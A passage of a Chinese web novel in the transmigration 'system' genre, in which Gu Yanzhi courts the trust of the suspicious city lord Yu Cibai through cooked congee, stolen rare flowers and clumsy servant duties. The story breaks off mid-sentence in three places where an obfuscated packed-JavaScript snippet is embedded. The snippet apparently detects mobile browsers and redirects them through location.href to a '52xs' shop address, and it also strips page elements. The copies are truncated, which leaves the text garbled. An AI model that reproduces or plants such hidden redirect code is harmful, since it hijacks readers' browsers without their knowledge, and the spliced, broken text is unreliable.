【您和昨日刺客是一伙的,原本的计划是您先用匕首刺杀城主,趁着场面混乱,再使用暗器刺杀。但是您久久未能行动,那刺客才忍不住先动了手。】 4. 城主4 “……”顾宴之一时间无话可说,气氛陷入了沉默。 系统找补道:【虽然宿主您的身份是坏的,但是您内心是好的呀。】 顾宴之噎了噎,“你还不如让我当个坏人。” 取得郁辞白信任的难度不亚于刺杀他。 系统自知理亏,讪讪解释道:【宿主,反正也不需要您真的刺杀郁辞白,字条你当没看见就行。】 顾宴之把字条放在燃烧的烛火上烧成了灰烬,这才松了一口气。 他可不想被人发现这个秘密,不然郁辞白真的会杀了他。 转身之际,顾宴之瞥见信鸽仍停留在原处,仿佛在等待着他的回信。 卧房里未备有笔墨纸砚,顾宴之稍作思索,便走出门去找看守西偏院的守卫,询问是否能给他些书写工具。 守卫毫无感情,“城主命令,任何人不得进出。” “我不出去。”顾宴之语气平和道:“劳烦您向城主请示,能否给我些笔墨。” 守卫依然不为所动。 顾宴之没有离开,继续耐心地交涉:“城主今日方才赐予我赏赐,不至于连笔墨这点小事都不肯应允吧。” 守卫这才有了些表情波动,看向了顾宴之,“您就是帮城主挡暗器的那位公子?” 顾宴之颔首。 守卫忠于城主,听闻顾宴之竟是那位救了城主的人,顿时另眼相待,点了点头表示愿意去向城主禀告。 不一会儿,守卫匆匆赶了回来,手中捧着一套精致的笔墨纸砚,恭敬地递给了顾宴之。 “城主吩咐,您乃南灵城使者,又有救城主之功,凡有所求但请明言,北澜城不会亏待您。” 顾宴之接了过来,向守卫微微点头致谢,然后转身回到了自己的卧房。 明亮的灯烛下,顾宴之的半边侧脸被照得温润分明,低眸时睫毛打落一片阴影,皮肤白皙,唇色艳丽。 这个朝代用的是繁体字,顾宴之以前上过书法课,略懂一二,他轻轻铺开宣纸,提笔落字,大有龙飞凤舞之势。 系统对宿主刮目相看,忍不住飞过去查看。 只见纸上行云流水写了两行字:“昔日之谋,已成过往云烟。从此各安天命,勿复相扰,自此别过,勿再往来。” 顾宴之回信说得决绝,生怕对方再来信骚扰他。 系统犹豫道:【宿主,您这么拒绝,万一他们恼羞成怒怎么办?】 “……”顾宴之默了两秒,“那怎么办?” 南灵城那边的局势还不知道,系统说得对,万一这封信传回去,对方气急败坏将他戳穿,他还怎么在城主府待? 但既要达到让对方死心的目的,又不能太过坚决,应该用什么理由才好? 顾宴之沉思片刻,抖了抖纸张,又重新写了一封信,“吾于来途记忆尽失,君之所言,吾茫然不知。” 简而言之:我失忆了,别再找我。 系统都惊呆了,【这样也可以吗?】 顾宴之折起信件,塞进了黑管中,走到窗边绑在了信鸽身上。 信鸽低头用喙轻啄了几下顾宴之的手背,然后振翅远去。顾宴之目送信鸽飞出西偏院,然后关上窗户。 半晌后小厮照例送来晚上的饭菜,离开的时候几位小厮在院子里随口交谈了几句。 “听说城主这两天胃口不好,府里的厨子都愁坏了,想尽办法变着花样做菜肴,生怕惹得城主不满,脑袋就不保了。” “我们这群做下人的也难啊。” “可不是嘛。听说管事的已经在城里寻找擅长烹饪的厨子……” 就在此时,系统突然发出提示音;【恭喜宿主触发支线任务:给郁辞白亲自做一顿饭,并且让他吃下。完成奖励10积分。】 “……” 顾宴之表示无语:“我不是厨子。” 系统提醒道:【任务成功奖励10积分,宿主您现在还倒欠我15积分。如果不还的话,默认任务失败。】 顾宴之立刻改口:“巧了,我虽然不是厨子,但却略懂一些厨艺。” 北澜城并不在衣食住宿上亏待使者,给他们的菜肴都也是丰盛的,顾宴之坐在桌前,夹了一筷子菜放进嘴里,味道鲜美,比他前世吃过的大多数食物都要美味,“非得我自己做吗?” 系统表示正确,【对。】 顾宴之前世是孤儿,很小的时候就会自己做饭,但是会做饭和做得好是两件事。 顾宴之自知他的厨艺比不上城主府的厨子,既然郁辞白连厨子的饭菜都吃不进去,怎么可能会吃他做的饭? 但是—— 10积分呢。 * 次日。顾宴之起了个大早,准备给郁辞白做一顿饭。 西偏院里就有小厨房,锅碗瓢盆等炊具俱全,只是没有食材。 昨天晚上门口的守卫说过,有需要的东西可以直接说,顾宴之自然不会错过这个机会,找门口的守卫说想要食材。 守卫没有多问,转身离开了一会儿后,身后跟着几个小厮带着新鲜的食材回来了,米面油盐蔬菜肉类,种类繁多应有尽有。 顾宴之其实用不上这么多东西,因为他只打算煮一碗米粥。 他有自知之明,做不出什么玉盘珍馐,与其在美味佳肴上冒险,最后做的难以下咽,还不如回归朴实。 西偏院院子里开了一树的槐花,顾宴之从小在孤儿院吃过槐花米粥,味道记到了现在。 在只有宿主在的时候,系统可以幻化出实型。比如现在,系统可以飞到树上去摘槐花,省了不少功夫。 摘选了槐花后,顾宴之拿着食材走到小厨房,发现还是高估了自己的能力。 他用不惯古代的炉灶,点了半天火都没生着,不知不觉连脸上都蹭上了煤灰,抹在白皙的面颊上格外明显,火还是没点着。 若是晚上,会有小厮前来点燃灯烛。但这是白天,他到哪儿去找火苗? “系统。”顾宴之呼出一口气,扔出手上的火折子,“变个火出来。” 系统表示它变不出来,【……】 它抱起火折子,用力地吹吹吹。 功夫不负有心统。 柴火终于被点燃了。 顾宴之把大米和水一起倒入锅中,又用锅铲搅了搅,吩咐系统道:“火大一点,水烧不开。” 系统吭哧吭哧往里面添柴火。 下一刻,火势骤然变大,米汤咕噜咕噜冒泡,顾宴之道:“火太大了,要糊了。” 系统连忙把柴火往外抽。 在米粥即将煮熟之际,撒上一把槐花,顿时多了些花香的气味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320336|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>最后,在顾宴之和系统的费力运作下,米粥终于熬好了,呈现出光泽温润的色泽。顾宴之找出碗小心翼翼地盛了一碗米粥,装在食盒里,提出去交给门口的守卫。 系统烧了半天火,快从白团变成灰团了,为了宿主的任务,它真是付出太多了。 “这是我给城主做的饭菜,劳烦您送一趟。”顾宴之语气谦和,将食盒交给守卫。 守卫回想起昨日城主的吩咐,不论顾公子要做什么,只要不是出西偏院,他们照办就行,不过凡事都要先禀告城主。 守卫接过食盒,“是,顾公子。” 顾宴之送出了食盒,安心回到了卧房里,静候着10积分到账。 然而,时间悄然流逝,从晨光初照到日上三竿,又到夜幕降临,顾宴之的积分账户依旧静悄悄,没有丝毫动静。 顾宴之按捺不住心中的疑惑,忍不住问系统,“我的积分呢?” 系统同样也纳闷,【宿主,没有任何任务成功的提示。】 “…………” 事已至此,答案无二。 郁辞白压根没动那份米粥。 一、口、也、没、吃! 顾宴之终于反应过来,这个任务不像表面上看起来的那么简单,10积分不是那么好拿的。 郁辞白作为一城之主,自然不会吃来路不明的食物。 那这个任务怎么办?难道让他去应聘城主府的厨子吗? …… 第二日,顾宴之早上起来依然煮了一锅槐花米粥,比昨天没熟练到哪个程度去。 系统今天依旧帮忙烧火。 米粥煮完,系统好奇发问:【今天也送吗?万一任务对象还是不吃呢?】 这么香香的槐花米粥,浪费了可真是可惜。 顾宴之将米粥小心地装入食盒里,又仔仔细细地检查了一遍,保证了密封完全。 顾宴之最后来到西偏院的后院,此处筑有高墙,没有守卫看守。 顾宴之从院子后面的杂物堆里搬来几块石头准备当作垫脚石。 系统瞬间懂了宿主要做什么,接过了宿主手上的食盒,先带着食盒平稳飞了过去。 顾宴之是翻墙一把手,小时候翻孤儿院的墙,长大了翻学校的墙,虽然城主府的墙比他之前翻过的都要高,但对于顾宴之来说也不是太难的事情。 最终,在不惊动守卫的情况下,顾宴之安然翻过了围墙,安全落地。 正午时分,金色的阳光透过枝叶的罅隙,洒在蜿蜒的回廊上,形成一片斑驳陆离的光影。城主府的建筑错落有致精致典雅,飞檐翘角,彰显不凡的气派。 顾宴之翻出了墙,才后知后觉地发现他不知道郁辞白在哪儿。 城主府面积偌大,找人难于登天,更何况郁辞白在不在城主府都不一定。 “系统。”顾宴之:“能开个郁辞白的定位吗?” 系统:【一次1积分。】 小的不去大的不来,顾宴之同意了,“先欠着。” 【激活任务对象定位系统,时间有效期一刻钟。】 系统明算账,【宿主,您已累计欠系统16积分。】 顾宴之面前亮起一块透蓝色的光凭,上面印有城主府的地图,正中心的地方有一个红色的坐标点,表示的是郁辞白的位置。 5. 城主5 有了地图,顾宴之只需要朝着对应的方向寻找即可。 最终顾宴之来到了一处典雅华贵的院子门口,大门紧闭。 顾宴之先是敲了敲门 ,但没人搭理他,于是小心翼翼地推开门走了进去,院内空旷无人,他便又往里走了几步,走到书房门前,又轻轻叩了叩门。 “进。” 里面传来熟悉的冷淡声音。 顾宴之于是推开门走了进去。 郁辞白正在作画,以为是下属来禀告要事,见来人迟迟不语,不愉地抬眸睨了过去,结果看见了个不属于这里的人。 顾宴之一袭淡蓝色锦袍,气质温润高雅,面容俊美如玉,只是脸颊上不知为何蹭上些许煤灰和灰土。 郁辞白停顿片刻,“你怎么过来的?” 顾宴之找的过来,自然早就想好遮掩的理由,“宴之一路前来,挨个找寻。” “本城主是问。”郁辞白搁下手中的毛笔,“你是怎么出偏院的?” 顾宴之眨了眨眼,“……” “看来是西偏院守卫看守不善,”郁辞白的语气难辨喜怒,“全都领罚——” 顾宴之虽然是偷偷溜出来的,可没有连累其他人的打算,立即坦明道:“和他们无关,我是翻墙出来的。” 郁辞白的目光在顾宴之身上停留了片刻,似乎在审视这句话的真假,没察觉出异样,随后顿了顿,淡淡道:“找本城主何事?” “宴之听闻城主近来胃口不好,特意煮了清淡的米粥前来。”顾宴之语气认真,带着些许关心的忧虑,“城主若不嫌弃,可以尝尝味道。” 郁辞白道:“你听谁说的?” 顾宴之实话实说:“偶然听小厮交谈所言。” 郁辞白睨了他一眼,道:“交由守卫送来即可,何必自己跑一趟。” 顾宴之心想要是交给守卫送来的你吃了,他又怎么会非要亲自来送。 但这话没法说出口,顾宴之只能低下眸子,眸中露出难以开口的纠结,缓缓道:“宴之担心城主,心中忧虑,寝食难安,只想见城主一面……” 顾宴之前世未曾谈过恋爱,他敢发誓,毕生所学的甜言蜜语都用在郁辞白身上了。 郁辞白一顿,眼底闪过意味不明的情绪,冰冷的指尖捏住顾宴之的下巴,手上用力,迫使对方抬起头来,“你知道,撒谎的人会有什么样的后果吗?” 郁辞白从未见过顾宴之这样的人,在知道对方是南灵城刺客之一时,本该直接将他抓起来处死。可不知为何他一而再再而三的放过了他…… 那封信鸽身上的回信他同样看见,顾宴之自称失去记忆,但在他看来,对方不曾有半点失忆之兆。 他竟不知,顾宴之嘴里到底有几句是真话,几句是假话。 顾宴之尚不知自己的身份已然穿帮,只是依旧维持自己的设定,眸色纯粹,“我待城主之心日月可鉴,何曾有过谎话?” 郁辞白指尖用力掐住顾宴之的下巴,直视着他的眼睛,希望能在其中找到一丝贪欲和私心。 可是没有—— 顾宴之对待郁辞白的确别无二心,只是一心想取得对方的信任,自然没有什么歹心。 郁辞白忽然松开了手。 “真巧,本城主刚得了一块测谎石。”郁辞白转身朝书房走去,淡然陈述道:“手握此石,若是撒谎,石头便会通身发红,顾公子可敢一试?” “顾公子若是撒谎——”郁辞白的声音停顿一刻,多了些冷淡的狠戾,“七银正好缺了顿晚饭。当然,顾公子若是不愿,本城主也不强求。” 顾宴之一滞。 也就是说——撒谎就要被抓去喂狼吗? 顾宴之在心中和系统对话,心生怀疑,【这世上真的有测谎石吗?】 人的内心复杂且善变,真的有一块石头就能测出他内心所想么? 系统茫然:【母鸡啊。】 郁辞白虽然说他不愿就不会强求,但是不测不就等于心虚,默认自己不敢? 进也不是退也不是。 顾宴之在心中短暂地纠结了一瞬,最后拱手,一字一句道:“宴之愿意一试。” 顾宴之不信这世上有测人内心的东西,万一这只是郁辞白的试探,他不敢岂不才是暴露。 郁辞白身形一停,似乎没料到对方真的会答应,转头不着痕迹地看了顾宴之一眼,“跟本城主进来。” 书房乃是城主府重地,四周陈列着高大的书架,书架上摆满了各种古籍卷轴。一进门,外界的喧扰仿佛被隔绝开来,窗边放着一张软榻,阳光洒落进来落在榻上,增添几分柔和的意味。 正中间摆放着一张桌案,案上笔墨纸砚,还有一幅未曾写完的字。 郁辞白抬手从旁边的木架上取下一个木质匣子,修长的指尖轻轻拨动,打开了木匣,其中放着一块拳头大小的石头,呈晶莹的玉白色,底下铺着一层柔软的帕子。 郁辞白单手递出木匣,微微扬了扬下颌,“顾公子,请。” 顾宴之伸手从匣中取出石头,石头温度冰凉,他微不可察地停顿,最后慢慢开口,“宴之仰慕城主,绝无二心。” 冰凉的石头慢慢被他的体温浸热—— 呈现出淡淡的红色。 【“手握此石,若是撒谎,石头便会通身发红。”】 “…………” 顾宴之已经开始骂祖宗了。 郁辞白喉间溢出一丝轻笑,转身坐在椅子上,支起下颌,好整以暇地问道:“顾公子可有话要说?” 顾宴之沉默片刻,“城主,这是假物。” 郁辞白表情闪过一丝趣味,“石头可不会说谎,顾公子如何断定它是假物?” 顾宴之心中留有一计,方才为了以防万一,嘴中所说和心中所想是不一样的事情,嘴上说的是虽然是倾慕城主,心中想的却是另一件事实。 这石头却依然变红,难不成石头能听懂人言,不测人心中所想,测的是说话内容? 这证实这石头根本没有测谎的功能。 顾宴之在心中松了口气,走上前去,靠近了郁辞白几分,眼中藏着干净的纯粹,低声保证道:“宴之倾慕城主,自知确凿无疑。如果石头认为宴之在说谎,那必然是这死物有误。” 甜言蜜语说多了,顾宴之越来越习惯了,已经到了不眨眼的地步。 郁辞白陡然笑了声,像是水面投入一颗石子,“顾公子当真是有趣之人。” 他从顾宴之手中取走石头,拿在手中玩弄几下,“此物称为暖石,会因温度升高而变色。顾公子说得对,世上哪有什么测谎石。” “……”顾宴之再次对郁辞白的阴晴不定有了新的认知。 郁辞白生性多疑,对他的试探从未停止过,好在他过了这一关。 顾宴之询问:“城主可相信宴之了?” 郁辞白启唇,话语听不出真假:“自然相信。” 郁辞白又问道:“你是南灵城人?” 顾宴之在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320337|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中想了想,他是南灵城使者,自然应该是南灵城之人,点了点头,“是。” 郁辞白继而问道:“南灵城分东西二域,你住何处?” 顾宴之哪知道这个,在心中问系统,【你给我的身份住在哪儿?】 系统连忙查资料,【背景上没有这样细化,宿主您随便说一个吧,到时候我再帮您完善身份设定。】 顾宴之于是道:“东域。” 郁辞白起身走到书架前,拿起一本古籍翻看,似乎琢磨了片刻,淡淡道:“本城主记错了,南灵城似乎分南北两域。” 顾宴之:“……” 顾宴之也不知道郁辞白怀疑他什么,处处都是试探,一句话都不能说错。 他简直不敢想象最后让他渣了郁辞白会有什么结果?不过好在,完成任务就可以离开世界。 “宴之早就说过。”顾宴之低声道:“在来途路上头部受伤,因而忘记了很多东西。” 顾宴之的这副皮囊用的是前世他自己的,生得好看,说话时眼里干净纯粹,浅色的眸子里尽是认真和温柔,很少有人能对这份情感不为所动。 顾宴之见郁辞白没有说话,拱手告辞,“那宴之今天先不打扰城主了。” 再多待一秒,他的底裤都要被试探出来了。 从书房离开,顾宴之终于慢慢松了口气,跟系统道:“系统,你也没说郁辞白这人这么难对付,不行,得加积分。” 系统:【对不起亲爱的宿主,没有这样的先例。】 毕竟它只绑定过一任宿主这样子。 顾宴之颇不在意,“没有先例就让它有,你多给些积分,我不就更有动力去完成任务了。” 系统在讨价还价这一方面怎么比得过人类,闻言差不多被说服了,只是仍旧迟疑,【可是我做不了主。】 顾宴之话里话外隐隐套话,“你还有上级?” 【是呀。】系统老实巴交地回答,【我只是监督者大人底下的小系统之一,如果要宿主您想要加积分的话,我得先去请示监督者大人。】 顾宴之,“那就去。郁辞白这么难攻略,我还因为任务受了伤,这可是工伤,值得加分。” 系统犹豫片刻,最终还是为了宿主同意了,【好!】 系统正要暂时离开去给监督者大人写报告,此时却突然收到提示—— 【恭喜宿主,支线任务已完成,获得10积分。】 与此同时,顾宴之也听到了这一通报,不免有些疑惑,“嗯?任务完成了?” 系统看着到账的积分,【是的宿主。】 昨天该到账的时候不到账,现在顾宴之都暂时放弃了,积分反而到账了。 只有一种可能—— 郁辞白尝了粥。 顾宴之颇为意外,他离开时并没有带走食盒,没想到郁辞白居然会尝他做的粥。 积分的到账让顾宴之的心情好了不少。 【而且宿主,显示信任度也增加了一点。】系统惊喜道。 这算是意外之喜了,分明刚才顾宴之并没有完美通过郁辞白的考验,但对方的信任度却增加了。 原来攻略郁辞白要走这条路,顾宴之慢慢明白任务的走向应该怎么办了。 顾宴之问道:“一点是多少?” 系统报告:【从0上升到1%了。】 “……” ……他好歹也救过郁辞白一命,为什么对方对他的初始信任度是0? 匪夷所思。 6. 城主6 返回到西偏院,顾宴之在案上铺上宣纸,沉思片刻后,挥毫泼墨、大气磅礴、笔锋遒劲有力地提笔写下几个字。 系统看宿主神色凝重,以为他要做出什么重要指示,立即飞过去查看,却发现纸上只有六个字—— “给郁辞白送饭。” 【……】系统的脑回路偶尔转不过来,【宿主,您写这个干嘛?】 “记下来免得忘了,以后多送几顿饭,说不定信任度就涨起来了。” 第二日傍晚时分。 西偏院突然来了一队暗卫,阵仗不小,把所有人都叫了出去,似乎要说什么事情。 “城主已经调查清楚刺客的身份,跟诸位无关,事情水落石出真相大白,诸位可以离去。” 众人一片惊喜的欢呼声后,随后都各自回卧房收拾行囊准备离开。 待在城主府的每一个时辰,都让他们无比想念自己的故都。每一个晚上都睡不踏实,生怕因郁城主的喜怒无常而身首异处。 在众人皆欢欣雀跃之时,一道月白色的身影悄然返回卧房,然后一言不发地往榻上一躺。 系统摸不着头脑,宿主在干嘛呢? 没过一会儿,西偏院就人走院空,众人都迫不及待急不可耐地离开,生怕多待一刻郁辞白会反悔不放人。 小厮来打扫卫生的时候,却发现住最东边屋子的公子还未离去,忍不住好奇发问:“公子,您还不走吗?” 别人都说避之不及,怎么这里有个特例? 顾宴之轻咳几声,似有隐痛,“伤势未愈,行动不便,无法离去。” 小厮闻言表示很是理解,“公子救城主有功,还请好好休息养好身体。” 城主府西偏院常年不住人,唯有宾客来访时才会启用,而城主府又很少待客,不用时会上锁封闭。 守卫晚上来锁门的时候,洒扫小厮提醒道:“里面还有一位公子没有离开。” 守卫:“为何?” 洒扫小厮小声道:“那位公子可可怜了,为了救城主落下重伤,现在连床都下不了,想走都走不了。” 守卫一顿,“我去禀告城主。” 书房。 郁辞白正在批阅公文,听见守卫的禀告,抬眸扫向守卫,“你再说一遍?” 守卫:“属下去西偏院锁门时,内里还有一位重伤的公子未曾离开,洒扫小厮说那位公子重伤严重,无法下榻,暂时没有离开。” “……”朱笔在公文上落下一笔不协调的痕迹,郁辞白闭了闭眼,重复了一遍,“重伤?” 守卫点头,“是。” 郁辞白轻嗤一声。 他倒要去看看,昨日里还胡蹦乱跳伤势无碍的人,今天怎么就又旧疾复发了? …… 顾宴之在榻上卧了几个时辰,浑身都有些酸痛,正准备下床走走,就听见系统的通报声—— 【注意,注意!任务对象正在靠近!】 “!” 郁辞白怎么会大晚上的过来? …… 郁辞白过来的时候,还未进门,就听见里面的人咳嗽得厉害。 他推门进去,先是冷嘲一番,“怎么?谎话说多了,嗓子坏了?” 顾宴之这下是真的被呛到了,重重咳了几声,声音透着几分无力,“宴之重伤未愈,还不能下榻,还请城主见谅。” “重伤未愈?”郁辞白仿佛听到了天大的笑话,“昨日还翻墙的是谁?” “昨日为了给城主送粥而碰到了伤口。”顾宴之伤口是真,毒性也只是暂时抑制住,没有完全解除,“今日更加严重了。” 顾宴之无论如何也不能离开城主府,一是身上的毒性未解,二则是离开了城主府还怎么见得到郁辞白,怎么能取得对方的信任? “明日本城主联系南灵城使馆来接你离开。”郁辞白道:“南灵城名医众多,想必对顾公子的伤情更有帮助。” 顾宴之迟疑道:“可我的伤势一直是城主府的医官在看,突然换了医官,万一诊断失误……” “况且宴之的伤因城主而受,城主难道不要负责到底?” 郁辞白善于窥探人心,却从来未曾看透过顾宴之的心。 尤其在那天晚上,暗卫拦截到顾宴之的信鸽回信时,本以为上面会留下确凿的证据,但打开信鸽回信一看,只见上面只是虔诚地表达了自己失忆了不要再来找我的消息。 郁辞白看到回信的刹那无言。 ……世上怎么会有这样的“刺客”? 郁辞白低头睨向顾宴之,知道对方不惜代价都想留在城主府,鬼使神差地开了口,“留在城主府也不是不行——” 话音未落,转折声便起,“但城主府不养闲人,你若想在城主府住下去,总得有用处不是?” 顾宴之一时还真说不上来他可以做什么。 郁辞白神情半是玩味地开口,“花园里正好缺一名看护花草的侍从,顾公子若是同意,不如任此职可好?” 顾宴之:“……” 气氛凝固几秒,顾宴之勉强同意,点了点头,“宴之愿意。” * 第二日,顾宴之就光荣上职了,正式开始看护花草的工作。 这份工作说来简单,花园偌大,光是负责侍弄花花草草的侍从就有数名,其中多一位少一位都没什么区别。 只是顾宴之仍不敢摸鱼,勤勤恳恳地浇浇水拔拔草,免得某位城主嫌他没用,非要赶他出去。 侍从们在黄昏时刻下职。 顾宴之是最后一个走的,离开的时候,见满园花色浸染在夕阳的光晕下,呈现一种耀眼的绝美。 顾宴之心生一计。 之前给郁辞白送粥都涨了1信任度,举一反三,万一送花也能涨信任度呢? 说干就干,顾宴之收集了花园里开得最艳的几种花,仔细搭配到一起,第一遍看着不喜欢,反反复复试了几遍才满意。 他拿着花去书房找郁辞白,书房没人,值班的守卫说城主大人此刻在阆昉台。 阆昉台,城主府登高望远之佳处。 顾宴之又朝阆昉台走去。 阆昉台有百层石阶,顾宴之抬头看过去的时候,见郁辞白似乎和管事的先生一同在上面。 顾宴之将花束藏在身后,一步一步朝阆昉台上走去。 在顾宴之来到阆昉台底下的时候,郁辞白就看见了对方,只是未曾言语,不知对方找他又有何事? 顾宴之跨越百层石阶登上阆昉台,带着笑意出现在郁辞白面前,台上没有遮挡,清风微徐,吹起身后洒落的墨发。 “宴之在侍弄花草时,见有几株花草长得艳丽,特意选了几株摘下来送给城主。”顾宴之捧出身后藏着的花束,眸中带着浅淡的笑意。 却不知这一献出,身后管事的先生差点猝死。 “这这这,这是妄玄兰——” “这是火幻竹——” “这、这、这是锏灵露——” “小祖宗,你你你都干了些什么?” 顾宴之茫然地眨了眨眼,没听懂管事先生所言,下意识看向郁辞白,“……什么?” 郁辞白也沉默半晌。 叫顾宴之去侍弄花草,结果对方把最有价无市的几株花草给摘了下来,这几株花草既可入药亦可观赏,价值可以说是连城。 管事先生的心疼已经写在脸上了,啧啧几声,满是遗憾。 顾宴之眼下再迟钝也知道自己似乎犯了错,“抱歉,我不知……” “都是死物罢了。”郁辞白从顾宴之手中接过花束,声线淡淡,“若能取人一笑,便发挥了最大的价值。” “只不过以后侍弄花草的事情就算了。”郁辞白转头看向管事先生,“先生,府中还有何位置空闲?” 管事先生沉吟片刻,“城主您房里的洒扫小厮有一位家中有事告假了,这位公子正好可作替补。” “这花。”顾宴之挽救道:“还能救活吗?” 郁辞白扫了眼道:“拿去放本城主房中即可。” 顾宴之心想郁辞白也没有传闻中说的那么可怕,至少性格还不错。 但愈是接近郁辞白,愈加让顾宴之迟疑自己的任务,以后他该怎么下手背叛对方呢? …… 顾宴之现在成了城主房间的洒扫小厮,为了方便而转移了住处,住到了郁辞白隔壁的院子里。 城主府卧房一日打扫两次,早上一次,晚上一次。 晚上正巧轮到顾宴之和另外一个小厮当值。 另外的小厮名叫伍苏,热情道,“之前和我共同当值的小厮家里出了点事,因而需要归家三月,管事的说你是替他的,这几个月就是咱们一起当值了。” 顾宴之道:“我第一次来,还请多多指教。” “你生得如此好看,管事的竟然安排你来当小厮,真是暴殄天物。”伍苏挠了挠头道;“我还从未见过你这样好看的人,你也是家中出事来城主府谋事做的吗?” 顾宴之停顿片刻,“其实我是南灵城使者,城主留我在府里养伤,给我谋了一个差事。” 伍苏闻言瞪大了眼睛,惊讶道:“你就是那日帮城主挡暗器的人?” 顾宴之微微颔首,心想城主府的消息怎么传播得这么快,怎么人人都知道他那日的事情。 “我在府里干了几年了,城主虽然传闻不好,但城主却不是什么大恶人。”伍苏看四周无人,小声道:“我听我师父说,城主虽然杀的人多,但其实都是该死之人,绝不会滥杀无辜。” “而且城主府的待遇可好了,包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320338|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃包住,每月都能攒下大半工钱。对了,还没问你的工钱是多少?” 身无分文的顾宴之:“……” 什么,还有工钱? 顾宴之生硬地转移了话题,“走吧,我们先去干活吧,免得误了城主就寝。” 伍苏半点没多想:“说得对,我们快走吧。” 到了城主卧房,伍苏拿上打扫的工具,“你第一次做,就打扫内屋吧,外屋交给我。” 顾宴之:“好。” 顾宴之也没想到自己一个现代人,到古代来居然做起了洒扫的工作。 大概是因为早上打扫过,现在内屋里也十分干净整洁。顾宴之点上蜡烛,环顾一圈不知道做什么,就把床榻重新整理了一遍。 …… 近来北澜城突发山贼,郁辞白处理相关事宜到深夜,这才回到自己的卧房。 灯烛通明,郁辞白走进内屋,一眼就看见了格格不入的床榻。 往常被子都是整齐平铺在榻上,今日却与众不同,不知被谁折了起来,像块豆腐似的堆在床尾。 “……” 郁辞白指尖叩了叩桌子,叫来了管事的先生。 管事先生一看到床榻张大了嘴巴,难以置信道:“这这这,这是何人所为?” 管事先生立马调出卧房洒扫当值的册子,依言道:“今日洒扫当值的是伍苏和新来的……顾宴之。” 郁辞白一袭玄衣,面无表情:“叫他过来。” 是他而不是他们。 管事先生在府上待了这么久了,察言观色的本领一流,以前什么事都没有,现在一换了人就出纰漏,这个他是谁不言而喻。 “属下这就去。” 顾宴之睡得早。 这里没有手机电脑,也没有娱乐活动。唯一能做的事情就是和系统说说话。 管事先生来的时候,顾宴之已经安然进入了梦乡。 “顾宴之。”管事先生用力敲门,“你又闯祸了,城主召你。” 系统不需要睡眠,听见动静声惊呆了,连忙叫醒宿主。 顾宴之被系统撞醒,半梦半醒道:“怎么了?” 还不等系统说话,管事先生的嘶吼声又一次响起,“顾宴之你在房中吗?城主急事召你。” 顾宴之咻一下坐起。 郁辞白,找他,这么晚? 难道是发现了他是刺客的事情? 如果他其实是南灵城刺客的事情被发现,那仅有的1信任度恐怕就要变成负数了。 顾宴之下床,“来了。” 天色依然漆黑,室内又没有点灯,管事先生看顾宴之开门出来,立马拽上他就快步往城主卧房走,生怕城主久等生气。 顾宴之摸不着头脑,想着试探几句,“先生,城主召我何事?” 管事先生嘴严得很:“你完蛋了。” “……”顾宴之心都凉了半截。 完了,郁辞白不会真的发现他是刺客的事情了吧。 顾宴之一路心中忐忑地来到城主卧房。 进屋之后,趁着烛光,管事先生这才看清了顾宴之身上的穿着,吃惊道:“你怎么穿着里衣就过来了?” “……” 顾宴之睡梦里被叫起,又心急郁辞白召他之事,从床上起来就直接过来了,连自己身着里衣都没发现。 “我回去换。”顾宴之转身要走。 “祖宗啊,别换了,城主还在等着你——”管事先生拽着顾宴之走进里屋,朝着郁辞白拱手行礼,“城主,人已带到。” 郁辞白抬眸看了过去。 顾宴之一身纯白里衣,领口松松垮垮地露出锁骨,透出些许慵懒的气质,墨发披散在脑后,衬得皮肤愈加白皙。 郁辞白微不可查地皱了皱眉,“衣衫不整。” 顾宴之和郁辞白相处久了,已经能对答如流,“宴之听闻城主夜间急召,因而来不及换衣裳。” 人都来了,郁辞白总不能叫人回去穿完衣服再过来。 郁辞白眉眼淡淡,“你可知本城主叫你来是为何?” 顾宴之当然不能自己坦白,就算郁辞白发现他是刺客,到时候他打死不知就行,“宴之不知。” 郁辞白走到顾宴之面前,抬手捏住他的下巴,迫使他看向自己,冷冷道:“你是在报复?” 顾宴之顿时更茫然了,当刺客和报复有什么关系,难道他的身份还有什么更深的秘密是他不知道的? “宴之不知,还请城主明言。”顾宴之抿了抿唇,低声道:“宴之仰慕城主都来不及,谈何报复?” 郁辞白松开手,视线轻飘飘地移向床榻。 “……” 顾宴之终于慢半拍地反应过来了。 难不成这个世界没有叠被子这一习惯? 7. 城主7 顾宴之发现自己不适合在城主府做事,干一行搞砸一行。 “城主。”顾宴之沉默片刻,乱说一通,“小时候我娘教我的,被子要这样叠。” 顾宴之没娘,自然不是娘教他的。小时候住的孤儿院管理严格,每天起床后第一件事就是把被子叠得整整齐齐。 郁辞白总觉得哪里不对劲,但无从考证。 